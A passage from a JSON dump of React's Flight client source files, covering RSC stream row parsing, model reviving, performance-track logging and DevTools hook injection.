childResult.endTime;\n    if (childEndTime > childTrackTime) {\n      childTrackTime = childEndTime;\n    }\n    if (childEndTime > childrenEndTime) {\n      childrenEndTime = childEndTime;\n    }\n  }\n\n  if (debugInfo) {\n    // Write debug info in reverse order (just like stack traces).\n    let componentEndTime = 0;\n    let isLastComponent = true;\n    let endTime = -1;\n    let endTimeIdx = -1;\n    for (let i = debugInfo.length - 1; i >= 0; i--) {\n      const info = debugInfo[i];\n      if (typeof info.time !== 'number') {\n        continue;\n      }\n      if (componentEndTime === 0) {\n        // Last timestamp is the end of the last component.\n        componentEndTime = info.time;\n      }\n      const time = info.time;\n      if (endTimeIdx > -1) {\n        // Now that we know the start and end time, we can emit the entries between.\n        for (let j = endTimeIdx - 1; j > i; j--) {\n          const candidateInfo = debugInfo[j];\n          if (typeof candidateInfo.name === 'string') {\n            if (componentEndTime > childrenEndTime) {\n              childrenEndTime = componentEndTime;\n            }\n            // $FlowFixMe: Refined.\n            const componentInfo: ReactComponentInfo = candidateInfo;\n            logComponentInfo(\n              response,\n              root,\n              componentInfo,\n              trackIdx,\n              time,\n              componentEndTime,\n              childrenEndTime,\n              isLastComponent,\n            );\n            componentEndTime = time; // The end time of previous component is the start time of the next.\n            // Track the root most component of the result for deduping logging.\n            result.component = componentInfo;\n            isLastComponent = false;\n          } else if (\n            candidateInfo.awaited &&\n            // Skip awaits on client resources since they didn't block the server component.\n            candidateInfo.awaited.env != null\n          ) {\n            if (endTime > childrenEndTime) {\n              childrenEndTime = endTime;\n            }\n            // $FlowFixMe: Refined.\n            const asyncInfo: ReactAsyncInfo = candidateInfo;\n            const env = response._rootEnvironmentName;\n            const promise = asyncInfo.awaited.value;\n            if (promise) {\n              const thenable: Thenable<mixed> = (promise: any);\n              switch (thenable.status) {\n                case INITIALIZED:\n                  logComponentAwait(\n                    asyncInfo,\n                    trackIdx,\n                    time,\n                    endTime,\n                    env,\n                    thenable.value,\n                  );\n                  break;\n                case ERRORED:\n                  logComponentAwaitErrored(\n                    asyncInfo,\n                    trackIdx,\n                    time,\n                    endTime,\n                    env,\n                    thenable.reason,\n                  );\n                  break;\n                default:\n                  // We assume that we should have received the data by now since this is logged at the\n                  // end of the response stream. This is more sensitive to ordering so we don't wait\n                  // to log it.\n                  logComponentAwait(\n                    asyncInfo,\n                    trackIdx,\n                    time,\n                    endTime,\n                    env,\n                    undefined,\n                  );\n                  break;\n              }\n            } else {\n              logComponentAwait(\n                asyncInfo,\n                trackIdx,\n                time,\n                endTime,\n                env,\n                undefined,\n              );\n            }\n          }\n        }\n      } else {\n        // Anything between the end and now was aborted if it has no end time.\n        // Either because the client stream was aborted reading it or the server stream aborted.\n        endTime = time; // If we don't find anything else the endTime is the start time.\n        for (let j = debugInfo.length - 1; j > i; j--) {\n          const candidateInfo = debugInfo[j];\n          if (typeof candidateInfo.name === 'string') {\n            if (componentEndTime > childrenEndTime) {\n              childrenEndTime = componentEndTime;\n            }\n            // $FlowFixMe: Refined.\n            const componentInfo: ReactComponentInfo = candidateInfo;\n            const env = response._rootEnvironmentName;\n            logComponentAborted(\n              componentInfo,\n              trackIdx,\n              time,\n              componentEndTime,\n              childrenEndTime,\n              env,\n            );\n            componentEndTime = time; // The end time of previous component is the start time of the next.\n            // Track the root most component of the result for deduping logging.\n            result.component = componentInfo;\n            isLastComponent = false;\n          } else if (\n            candidateInfo.awaited &&\n            // Skip awaits on client resources since they didn't block the server component.\n            candidateInfo.awaited.env != null\n          ) {\n            // If we don't have an end time for an await, that means we aborted.\n            const asyncInfo: ReactAsyncInfo = candidateInfo;\n            const env = response._rootEnvironmentName;\n            if (asyncInfo.awaited.end > endTime) {\n              endTime = asyncInfo.awaited.end; // Take the end time of the I/O as the await end.\n            }\n            if (endTime > childrenEndTime) {\n              childrenEndTime = endTime;\n            }\n            logComponentAwaitAborted(asyncInfo, trackIdx, time, endTime, env);\n          }\n        }\n      }\n      endTime = time; // The end time of the next entry is this time.\n      endTimeIdx = i;\n    }\n  }\n  result.endTime = childrenEndTime;\n  return result;\n}\n\nfunction flushInitialRenderPerformance(response: Response): void {\n  if (\n    enableProfilerTimer &&\n    enableComponentPerformanceTrack &&\n    response._replayConsole\n  ) {\n    const rootChunk = getChunk(response, 0);\n    if (isArray(rootChunk._children)) {\n      markAllTracksInOrder();\n      flushComponentPerformance(response, rootChunk, 0, -Infinity, -Infinity);\n    }\n  }\n}\n\nfunction processFullBinaryRow(\n  response: Response,\n  streamState: StreamState,\n  id: number,\n  tag: number,\n  buffer: Array<Uint8Array>,\n  chunk: Uint8Array,\n): void {\n  switch (tag) {\n    case 65 /* \"A\" */:\n      // We must always clone to extract it into a separate buffer instead of just a view.\n      resolveBuffer(\n        response,\n        id,\n        mergeBuffer(buffer, chunk).buffer,\n        streamState,\n      );\n      return;\n    case 79 /* \"O\" */:\n      resolveTypedArray(response, id, buffer, chunk, Int8Array, 1, streamState);\n      return;\n    case 111 /* \"o\" */:\n      resolveBuffer(\n        response,\n        id,\n        buffer.length === 0 ? chunk : mergeBuffer(buffer, chunk),\n        streamState,\n      );\n      return;\n    case 85 /* \"U\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Uint8ClampedArray,\n        1,\n        streamState,\n      );\n      return;\n    case 83 /* \"S\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Int16Array,\n        2,\n        streamState,\n      );\n      return;\n    case 115 /* \"s\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Uint16Array,\n        2,\n        streamState,\n      );\n      return;\n    case 76 /* \"L\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Int32Array,\n        4,\n        streamState,\n      );\n      return;\n    case 108 /* \"l\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Uint32Array,\n        4,\n        streamState,\n      );\n      return;\n    case 71 /* \"G\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Float32Array,\n        4,\n        streamState,\n      );\n      return;\n    case 103 /* \"g\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        Float64Array,\n        8,\n        streamState,\n      );\n      return;\n    case 77 /* \"M\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        BigInt64Array,\n        8,\n        streamState,\n      );\n      return;\n    case 109 /* \"m\" */:\n      resolveTypedArray(\n        response,\n        id,\n        buffer,\n        chunk,\n        BigUint64Array,\n        8,\n        streamState,\n      );\n      return;\n    case 86 /* \"V\" */:\n      resolveTypedArray(response, id, buffer, chunk, DataView, 1, streamState);\n      return;\n  }\n\n  const stringDecoder = response._stringDecoder;\n  let row = '';\n  for (let i = 0; i < buffer.length; i++) {\n    row += readPartialStringChunk(stringDecoder, buffer[i]);\n  }\n  row += readFinalStringChunk(stringDecoder, chunk);\n  processFullStringRow(response, streamState, id, tag, row);\n}\n\nfunction processFullStringRow(\n  response: Response,\n  streamState: StreamState,\n  id: number,\n  tag: number,\n  row: string,\n): void {\n  switch (tag) {\n    case 73 /* \"I\" */: {\n      resolveModule(response, id, row, streamState);\n      return;\n    }\n    case 72 /* \"H\" */: {\n      const code: HintCode = (row[0]: any);\n      resolveHint(response, code, row.slice(1));\n      return;\n    }\n    case 69 /* \"E\" */: {\n      resolveErrorModel(response, id, row, streamState);\n      return;\n    }\n    case 84 /* \"T\" */: {\n      resolveText(response, id, row, streamState);\n      return;\n    }\n    case 78 /* \"N\" */: {\n      if (\n        enableProfilerTimer &&\n        (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ) {\n        // Track the time origin for future debug info. We track it relative\n        // to the current environment's time space.\n        const timeOrigin: number = +row;\n        response._timeOrigin =\n          timeOrigin -\n          // $FlowFixMe[prop-missing]\n          performance.timeOrigin;\n        return;\n      }\n      // Fallthrough to share the error with Debug and Console entries.\n    }\n    case 68 /* \"D\" */: {\n      if (__DEV__) {\n        resolveDebugModel(response, id, row);\n        return;\n      }\n      // Fallthrough to share the error with Console entries.\n    }\n    case 74 /* \"J\" */: {\n      if (enableProfilerTimer && enableAsyncDebugInfo) {\n        resolveIOInfo(response, id, row);\n        return;\n      }\n      // Fallthrough to share the error with Console entries.\n    }\n    case 87 /* \"W\" */: {\n      if (__DEV__) {\n        resolveConsoleEntry(response, row);\n        return;\n      }\n      throw new Error(\n        'Failed to read a RSC payload created by a development version of React ' +\n          'on the server while using a production version on the client. Always use ' +\n          'matching versions on the server and the client.',\n      );\n    }\n    case 82 /* \"R\" */: {\n      startReadableStream(response, id, undefined, streamState);\n      return;\n    }\n    // Fallthrough\n    case 114 /* \"r\" */: {\n      startReadableStream(response, id, 'bytes', streamState);\n      return;\n    }\n    // Fallthrough\n    case 88 /* \"X\" */: {\n      startAsyncIterable(response, id, false, streamState);\n      return;\n    }\n    // Fallthrough\n    case 120 /* \"x\" */: {\n      startAsyncIterable(response, id, true, streamState);\n      return;\n    }\n    // Fallthrough\n    case 67 /* \"C\" */: {\n      stopStream(response, id, row);\n      return;\n    }\n    // Fallthrough\n    default: /* \"\"\" \"{\" \"[\" \"t\" \"f\" \"n\" \"0\" - \"9\" */ {\n      if (__DEV__ && row === '') {\n        resolveDebugHalt(response, id);\n        return;\n      }\n      // We assume anything else is JSON.\n      resolveModel(response, id, row, streamState);\n      return;\n    }\n  }\n}\n\nexport function processBinaryChunk(\n  weakResponse: WeakResponse,\n  streamState: StreamState,\n  chunk: Uint8Array,\n): void {\n  if (hasGCedResponse(weakResponse)) {\n    // Ignore more chunks if we've already GC:ed all listeners.\n    return;\n  }\n  const response = unwrapWeakResponse(weakResponse);\n  let i = 0;\n  let rowState = streamState._rowState;\n  let rowID = streamState._rowID;\n  let rowTag = streamState._rowTag;\n  let rowLength = streamState._rowLength;\n  const buffer = streamState._buffer;\n  const chunkLength = chunk.length;\n  incrementChunkDebugInfo(streamState, chunkLength);\n  while (i < chunkLength) {\n    let lastIdx = -1;\n    switch (rowState) {\n      case ROW_ID: {\n        const byte = chunk[i++];\n        if (byte === 58 /* \":\" */) {\n          // Finished the rowID, next we'll parse the tag.\n          rowState = ROW_TAG;\n        } else {\n          rowID = (rowID << 4) | (byte > 96 ? byte - 87 : byte - 48);\n        }\n        continue;\n      }\n      case ROW_TAG: {\n        const resolvedRowTag = chunk[i];\n        if (\n          resolvedRowTag === 84 /* \"T\" */ ||\n          resolvedRowTag === 65 /* \"A\" */ ||\n          resolvedRowTag === 79 /* \"O\" */ ||\n          resolvedRowTag === 111 /* \"o\" */ ||\n          resolvedRowTag === 98 /* \"b\" */ ||\n          resolvedRowTag === 85 /* \"U\" */ ||\n          resolvedRowTag === 83 /* \"S\" */ ||\n          resolvedRowTag === 115 /* \"s\" */ ||\n          resolvedRowTag === 76 /* \"L\" */ ||\n          resolvedRowTag === 108 /* \"l\" */ ||\n          resolvedRowTag === 71 /* \"G\" */ ||\n          resolvedRowTag === 103 /* \"g\" */ ||\n          resolvedRowTag === 77 /* \"M\" */ ||\n          resolvedRowTag === 109 /* \"m\" */ ||\n          resolvedRowTag === 86 /* \"V\" */\n        ) {\n          rowTag = resolvedRowTag;\n          rowState = ROW_LENGTH;\n          i++;\n        } else if (\n          (resolvedRowTag > 64 && resolvedRowTag < 91) /* \"A\"-\"Z\" */ ||\n          resolvedRowTag === 35 /* \"#\" */ ||\n          resolvedRowTag === 114 /* \"r\" */ ||\n          resolvedRowTag === 120 /* \"x\" */\n        ) {\n          rowTag = resolvedRowTag;\n          rowState = ROW_CHUNK_BY_NEWLINE;\n          i++;\n        } else {\n          rowTag = 0;\n          rowState = ROW_CHUNK_BY_NEWLINE;\n          // This was an unknown tag so it was probably part of the data.\n        }\n        continue;\n      }\n      case ROW_LENGTH: {\n        const byte = chunk[i++];\n        if (byte === 44 /* \",\" */) {\n          // Finished the rowLength, next we'll buffer up to that length.\n          rowState = ROW_CHUNK_BY_LENGTH;\n        } else {\n          rowLength = (rowLength << 4) | (byte > 96 ? byte - 87 : byte - 48);\n        }\n        continue;\n      }\n      case ROW_CHUNK_BY_NEWLINE: {\n        // We're looking for a newline\n        lastIdx = chunk.indexOf(10 /* \"\\n\" */, i);\n        break;\n      }\n      case ROW_CHUNK_BY_LENGTH: {\n        // We're looking for the remaining byte length\n        lastIdx = i + rowLength;\n        if (lastIdx > chunk.length) {\n          lastIdx = -1;\n        }\n        break;\n      }\n    }\n    const offset = chunk.byteOffset + i;\n    if (lastIdx > -1) {\n      // We found the last chunk of the row\n      const length = lastIdx - i;\n      const lastChunk = new Uint8Array(chunk.buffer, offset, length);\n\n      // Check if this is a Uint8Array for a byte stream. We enqueue it\n      // immediately but need to determine if we can use zero-copy or must copy.\n      if (rowTag === 98 /* \"b\" */) {\n        resolveBuffer(\n          response,\n          rowID,\n          // If we're at the end of the RSC chunk, no more parsing will access\n          // this buffer and we don't need to copy the chunk to allow detaching\n          // the buffer, otherwise we need to copy.\n          lastIdx === chunkLength ? lastChunk : lastChunk.slice(),\n          streamState,\n        );\n      } else {\n        // Process all other row types.\n        processFullBinaryRow(\n          response,\n          streamState,\n          rowID,\n          rowTag,\n          buffer,\n          lastChunk,\n        );\n      }\n\n      // Reset state machine for a new row\n      i = lastIdx;\n      if (rowState === ROW_CHUNK_BY_NEWLINE) {\n        // If we're trailing by a newline we need to skip it.\n        i++;\n      }\n      rowState = ROW_ID;\n      rowTag = 0;\n      rowID = 0;\n      rowLength = 0;\n      buffer.length = 0;\n    } else {\n      // The rest of this row is in a future chunk.\n      const length = chunk.byteLength - i;\n      const remainingSlice = new Uint8Array(chunk.buffer, offset, length);\n\n      // For byte streams, we can enqueue the partial row immediately without\n      // copying since we're at the end of the RSC chunk and no more parsing\n      // will access this buffer.\n      if (rowTag === 98 /* \"b\" */) {\n        // Update how many bytes we're still waiting for. We need to do this\n        // before enqueueing, as enqueue will detach the buffer and byteLength\n        // will become 0.\n        rowLength -= remainingSlice.byteLength;\n        resolveBuffer(response, rowID, remainingSlice, streamState);\n      } else {\n        // For other row types, stash the rest of the current chunk until we can\n        // process the full row.\n        buffer.push(remainingSlice);\n        // Update how many bytes we're still waiting for. If we're looking for\n        // a newline, this doesn't hurt since we'll just ignore it.\n        rowLength -= remainingSlice.byteLength;\n      }\n      break;\n    }\n  }\n  streamState._rowState = rowState;\n  streamState._rowID = rowID;\n  streamState._rowTag = rowTag;\n  streamState._rowLength = rowLength;\n}\n\nexport function processStringChunk(\n  weakResponse: WeakResponse,\n  streamState: StreamState,\n  chunk: string,\n): void {\n  if (hasGCedResponse(weakResponse)) {\n    // Ignore more chunks if we've already GC:ed all listeners.\n    return;\n  }\n  const response = unwrapWeakResponse(weakResponse);\n  // This is a fork of processBinaryChunk that takes a string as input.\n  // This can't be just any binary chunk coverted to a string. It needs to be\n  // in the same offsets given from the Flight Server. E.g. if it's shifted by\n  // one byte then it won't line up to the UCS-2 encoding. It also needs to\n  // be valid Unicode. Also binary chunks cannot use this even if they're\n  // value Unicode. Large strings are encoded as binary and cannot be passed\n  // here. Basically, only if Flight Server gave you this string as a chunk,\n  // you can use it here.\n  let i = 0;\n  let rowState = streamState._rowState;\n  let rowID = streamState._rowID;\n  let rowTag = streamState._rowTag;\n  let rowLength = streamState._rowLength;\n  const buffer = streamState._buffer;\n  const chunkLength = chunk.length;\n  incrementChunkDebugInfo(streamState, chunkLength);\n  while (i < chunkLength) {\n    let lastIdx = -1;\n    switch (rowState) {\n      case ROW_ID: {\n        const byte = chunk.charCodeAt(i++);\n        if (byte === 58 /* \":\" */) {\n          // Finished the rowID, next we'll parse the tag.\n          rowState = ROW_TAG;\n        } else {\n          rowID = (rowID << 4) | (byte > 96 ? byte - 87 : byte - 48);\n        }\n        continue;\n      }\n      case ROW_TAG: {\n        const resolvedRowTag = chunk.charCodeAt(i);\n        if (\n          resolvedRowTag === 84 /* \"T\" */ ||\n          resolvedRowTag === 65 /* \"A\" */ ||\n          resolvedRowTag === 79 /* \"O\" */ ||\n          resolvedRowTag === 111 /* \"o\" */ ||\n          resolvedRowTag === 85 /* \"U\" */ ||\n          resolvedRowTag === 83 /* \"S\" */ ||\n          resolvedRowTag === 115 /* \"s\" */ ||\n          resolvedRowTag === 76 /* \"L\" */ ||\n          resolvedRowTag === 108 /* \"l\" */ ||\n          resolvedRowTag === 71 /* \"G\" */ ||\n          resolvedRowTag === 103 /* \"g\" */ ||\n          resolvedRowTag === 77 /* \"M\" */ ||\n          resolvedRowTag === 109 /* \"m\" */ ||\n          resolvedRowTag === 86 /* \"V\" */\n        ) {\n          rowTag = resolvedRowTag;\n          rowState = ROW_LENGTH;\n          i++;\n        } else if (\n          (resolvedRowTag > 64 && resolvedRowTag < 91) /* \"A\"-\"Z\" */ ||\n          resolvedRowTag === 114 /* \"r\" */ ||\n          resolvedRowTag === 120 /* \"x\" */\n        ) {\n          rowTag = resolvedRowTag;\n          rowState = ROW_CHUNK_BY_NEWLINE;\n          i++;\n        } else {\n          rowTag = 0;\n          rowState = ROW_CHUNK_BY_NEWLINE;\n          // This was an unknown tag so it was probably part of the data.\n        }\n        continue;\n      }\n      case ROW_LENGTH: {\n        const byte = chunk.charCodeAt(i++);\n        if (byte === 44 /* \",\" */) {\n          // Finished the rowLength, next we'll buffer up to that length.\n          rowState = ROW_CHUNK_BY_LENGTH;\n        } else {\n          rowLength = (rowLength << 4) | (byte > 96 ? byte - 87 : byte - 48);\n        }\n        continue;\n      }\n      case ROW_CHUNK_BY_NEWLINE: {\n        // We're looking for a newline\n        lastIdx = chunk.indexOf('\\n', i);\n        break;\n      }\n      case ROW_CHUNK_BY_LENGTH: {\n        if (rowTag !== 84) {\n          throw new Error(\n            'Binary RSC chunks cannot be encoded as strings. ' +\n              'This is a bug in the wiring of the React streams.',\n          );\n        }\n        // For a large string by length, we don't know how many unicode characters\n        // we are looking for but we can assume that the raw string will be its own\n        // chunk. We add extra validation that the length is at least within the\n        // possible byte range it could possibly be to catch mistakes.\n        if (rowLength < chunk.length || chunk.length > rowLength * 3) {\n          throw new Error(\n            'String chunks need to be passed in their original shape. ' +\n              'Not split into smaller string chunks. ' +\n              'This is a bug in the wiring of the React streams.',\n          );\n        }\n        lastIdx = chunk.length;\n        break;\n      }\n    }\n    if (lastIdx > -1) {\n      // We found the last chunk of the row\n      if (buffer.length > 0) {\n        // If we had a buffer already, it means that this chunk was split up into\n        // binary chunks preceeding it.\n        throw new Error(\n          'String chunks need to be passed in their original shape. ' +\n            'Not split into smaller string chunks. ' +\n            'This is a bug in the wiring of the React streams.',\n        );\n      }\n      const lastChunk = chunk.slice(i, lastIdx);\n      processFullStringRow(response, streamState, rowID, rowTag, lastChunk);\n      // Reset state machine for a new row\n      i = lastIdx;\n      if (rowState === ROW_CHUNK_BY_NEWLINE) {\n        // If we're trailing by a newline we need to skip it.\n        i++;\n      }\n      rowState = ROW_ID;\n      rowTag = 0;\n      rowID = 0;\n      rowLength = 0;\n      buffer.length = 0;\n    } else if (chunk.length !== i) {\n      // The rest of this row is in a future chunk. We only support passing the\n      // string from chunks in their entirety. Not split up into smaller string chunks.\n      // We could support this by buffering them but we shouldn't need to for\n      // this use case.\n      throw new Error(\n        'String chunks need to be passed in their original shape. ' +\n          'Not split into smaller string chunks. ' +\n          'This is a bug in the wiring of the React streams.',\n      );\n    }\n  }\n  streamState._rowState = rowState;\n  streamState._rowID = rowID;\n  streamState._rowTag = rowTag;\n  streamState._rowLength = rowLength;\n}\n\nfunction parseModel<T>(response: Response, json: UninitializedModel): T {\n  const rawModel = JSON.parse(json);\n  // Pass a wrapper object as parentObject to match the original JSON.parse\n  // reviver behavior, where the root value's reviver receives {\"\": rootValue}\n  // as `this`. This ensures parentObject is never null when accessed downstream.\n  return reviveModel(response, rawModel, {'': rawModel}, '');\n}\n\nfunction reviveModel(\n  response: Response,\n  value: JSONValue,\n  parentObject: Object,\n  key: string,\n): any {\n  if (typeof value === 'string') {\n    if (value[0] === '$') {\n      return parseModelString(response, parentObject, key, value);\n    }\n    return value;\n  }\n  if (typeof value !== 'object' || value === null) {\n    return value;\n  }\n  if (isArray(value)) {\n    for (let i = 0; i < value.length; i++) {\n      (value: any)[i] = reviveModel(response, value[i], value, '' + i);\n    }\n    if (value[0] === REACT_ELEMENT_TYPE) {\n      // React element tuple\n      return parseModelTuple(response, value);\n    }\n    return value;\n  }\n  // Plain object\n  for (const k in value) {\n    if (k === __PROTO__) {\n      delete (value: any)[k];\n    } else {\n      const walked = reviveModel(response, (value: any)[k], value, k);\n      if (walked !== undefined) {\n        (value: any)[k] = walked;\n      } else {\n        delete (value: any)[k];\n      }\n    }\n  }\n  return value;\n}\n\nexport function close(weakResponse: WeakResponse): void {\n  // In case there are any remaining unresolved chunks, they won't be resolved\n  // now. So we either error or halt them depending on whether partial streams\n  // are allowed.\n  // TODO: Ideally we should be able to bail out early if we kept a ref count of\n  // pending chunks.\n  if (hasGCedResponse(weakResponse)) {\n    return;\n  }\n  const response = unwrapWeakResponse(weakResponse);\n  if (response._allowPartialStream) {\n    // For partial streams, we halt pending chunks instead of erroring them.\n    response._closed = true;\n    response._chunks.forEach(chunk => {\n      if (chunk.status === PENDING) {\n        // Clear listeners to release closures and transition to HALTED.\n        // Future .then() calls on HALTED chunks are no-ops.\n        releasePendingChunk(response, chunk);\n        const haltedChunk: HaltedChunk<any> = (chunk: any);\n        haltedChunk.status = HALTED;\n        haltedChunk.value = null;\n        haltedChunk.reason = null;\n      } else if (chunk.status === INITIALIZED && chunk.reason !== null) {\n        // Stream chunk - close gracefully instead of erroring.\n        chunk.reason.close('\"$undefined\"');\n      }\n    });\n    if (__DEV__) {\n      const debugChannel = response._debugChannel;\n      if (debugChannel !== undefined) {\n        closeDebugChannel(debugChannel);\n        response._debugChannel = undefined;\n        if (debugChannelRegistry !== null) {\n          debugChannelRegistry.unregister(response);\n        }\n      }\n    }\n  } else {\n    reportGlobalError(weakResponse, new Error('Connection closed.'));\n  }\n}\n\nfunction getCurrentOwnerInDEV(): null | ReactComponentInfo {\n  return currentOwnerInDEV;\n}\n\nexport function injectIntoDevTools(): boolean {\n  const internals: Object = {\n    bundleType: __DEV__ ? 1 : 0, // Might add PROFILE later.\n    version: rendererVersion,\n    rendererPackageName: rendererPackageName,\n    currentDispatcherRef: ReactSharedInternals,\n    // Enables DevTools to detect reconciler version rather than renderer version\n    // which may not match for third party renderers.\n    reconcilerVersion: ReactVersion,\n    getCurrentComponentInfo: getCurrentOwnerInDEV,\n  };\n  return injectInternals(internals);\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightClientConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/prod-error-codes */\n\n// We expect that our Rollup, Jest, and Flow configurations\n// always shim this module with the corresponding host config\n// (either provided by a renderer, or a generic shim for npm).\n//\n// We should never resolve to this file, but it exists to make\n// sure that if we *do* accidentally break the configuration,\n// the failure isn't silent.\n\nthrow new Error('This module must be shimmed by a specific renderer.');\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightClientDevToolsHook.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndeclare const __REACT_DEVTOOLS_GLOBAL_HOOK__: Object | void;\n\nexport function injectInternals(internals: Object): boolean {\n  if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {\n    // No DevTools\n    return false;\n  }\n  const hook = __REACT_DEVTOOLS_GLOBAL_HOOK__;\n  if (hook.isDisabled) {\n    // This isn't a real property on the hook, but it can be set to opt out\n    // of DevTools integration and associated warnings and logs.\n    // https://github.com/facebook/react/issues/3877\n    return true;\n  }\n  if (!hook.supportsFlight) {\n    // DevTools exists, even though it doesn't support Flight.\n    return true;\n  }\n  try {\n    hook.inject(internals);\n  } catch (err) {\n    // Catch all errors because it is unsafe to throw during initialization.\n    if (__DEV__) {\n      console.error('React instrumentation encountered an error: %o.', err);\n    }\n  }\n  if (hook.checkDCE) {\n    // This is the real DevTools.\n    return true;\n  } else {\n    // This is likely a hook installed by Fast Refresh runtime.\n    return false;\n  }\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightClientStreamConfigNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {TextDecoder} from 'util';\n\nexport type StringDecoder = TextDecoder;\n\nexport function createStringDecoder(): StringDecoder {\n  return new TextDecoder();\n}\n\nconst decoderOptions = {stream: true};\n\nexport function readPartialStringChunk(\n  decoder: StringDecoder,\n  buffer: Uint8Array,\n): string {\n  return decoder.decode(buffer, decoderOptions);\n}\n\nexport function readFinalStringChunk(\n  decoder: StringDecoder,\n  buffer: Uint8Array,\n): string {\n  return decoder.decode(buffer);\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightClientStreamConfigWeb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type StringDecoder = TextDecoder;\n\nexport function createStringDecoder(): StringDecoder {\n  return new TextDecoder();\n}\n\nconst decoderOptions = {stream: true};\n\nexport function readPartialStringChunk(\n  decoder: StringDecoder,\n  buffer: Uint8Array,\n): string {\n  return decoder.decode(buffer, decoderOptions);\n}\n\nexport function readFinalStringChunk(\n  decoder: StringDecoder,\n  buffer: Uint8Array,\n): string {\n  return decoder.decode(buffer);\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightPerformanceTrack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/no-production-logging */\n\nimport type {\n  ReactComponentInfo,\n  ReactIOInfo,\n  ReactAsyncInfo,\n} from 'shared/ReactTypes';\n\nimport {enableProfilerTimer} from 'shared/ReactFeatureFlags';\n\nimport {\n  addValueToProperties,\n  addObjectToProperties,\n} from 'shared/ReactPerformanceTrackProperties';\n\nimport {getIODescription} from 'shared/ReactIODescription';\n\nconst supportsUserTiming =\n  enableProfilerTimer &&\n  typeof console !== 'undefined' &&\n  typeof console.timeStamp === 'function' &&\n  typeof performance !== 'undefined' &&\n  // $FlowFixMe[method-unbinding]\n  typeof performance.measure === 'function';\n\nconst IO_TRACK = 'Server Requests ⚛';\nconst COMPONENTS_TRACK = 'Server Components ⚛';\n\nexport function markAllTracksInOrder() {\n  if (supportsUserTiming) {\n    // Ensure we create the Server Component track groups earlier than the Client Scheduler\n    // and Client Components. We can always add the 0 time slot even if it's in the past.\n    // That's still considered for ordering.\n    console.timeStamp(\n      'Server Requests Track',\n      0.001,\n      0.001,\n      IO_TRACK,\n      undefined,\n      'primary-light',\n    );\n    console.timeStamp(\n      'Server Components Track',\n      0.001,\n      0.001,\n      'Primary',\n      COMPONENTS_TRACK,\n      'primary-light',\n    );\n  }\n}\n\nconst trackNames = [\n  'Primary',\n  'Parallel',\n  'Parallel\\u200b', // Padded with zero-width space to give each track a unique name.\n  'Parallel\\u200b\\u200b',\n  'Parallel\\u200b\\u200b\\u200b',\n  'Parallel\\u200b\\u200b\\u200b\\u200b',\n  'Parallel\\u200b\\u200b\\u200b\\u200b\\u200b',\n  'Parallel\\u200b\\u200b\\u200b\\u200b\\u200b\\u200b',\n  'Parallel\\u200b\\u200b\\u200b\\u200b\\u200b\\u200b\\u200b',\n  'Parallel\\u200b\\u200b\\u200b\\u200b\\u200b\\u200b\\u200b\\u200b',\n];\n\nexport function logComponentRender(\n  componentInfo: ReactComponentInfo,\n  trackIdx: number,\n  startTime: number,\n  endTime: number,\n  childrenEndTime: number,\n  rootEnv: string,\n): void {\n  if (supportsUserTiming && childrenEndTime >= 0 && trackIdx < 10) {\n    const env = componentInfo.env;\n    const name = componentInfo.name;\n    const isPrimaryEnv = env === rootEnv;\n    const selfTime = endTime - startTime;\n    const color =\n      selfTime < 0.5\n        ? isPrimaryEnv\n          ? 'primary-light'\n          : 'secondary-light'\n        : selfTime < 50\n          ? isPrimaryEnv\n            ? 'primary'\n            : 'secondary'\n          : selfTime < 500\n            ? isPrimaryEnv\n              ? 'primary-dark'\n              : 'secondary-dark'\n            : 'error';\n    const entryName =\n      isPrimaryEnv || env === undefined ? name : name + ' [' + env + ']';\n    const debugTask = componentInfo.debugTask;\n    const measureName = '\\u200b' + entryName;\n    if (__DEV__ && debugTask) {\n      const properties: Array<[string, string]> = [];\n      if (componentInfo.key != null) {\n        addValueToProperties('key', componentInfo.key, properties, 0, '');\n      }\n      if (componentInfo.props != null) {\n        addObjectToProperties(componentInfo.props, properties, 0, '');\n      }\n\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        performance.measure.bind(performance, measureName, {\n          start: startTime < 0 ? 0 : startTime,\n          end: childrenEndTime,\n          detail: {\n            devtools: {\n              color: color,\n              track: trackNames[trackIdx],\n              trackGroup: COMPONENTS_TRACK,\n              properties,\n            },\n          },\n        }),\n      );\n      performance.clearMeasures(measureName);\n    } else {\n      console.timeStamp(\n        measureName,\n        startTime < 0 ? 0 : startTime,\n        childrenEndTime,\n        trackNames[trackIdx],\n        COMPONENTS_TRACK,\n        color,\n      );\n    }\n  }\n}\n\nexport function logComponentAborted(\n  componentInfo: ReactComponentInfo,\n  trackIdx: number,\n  startTime: number,\n 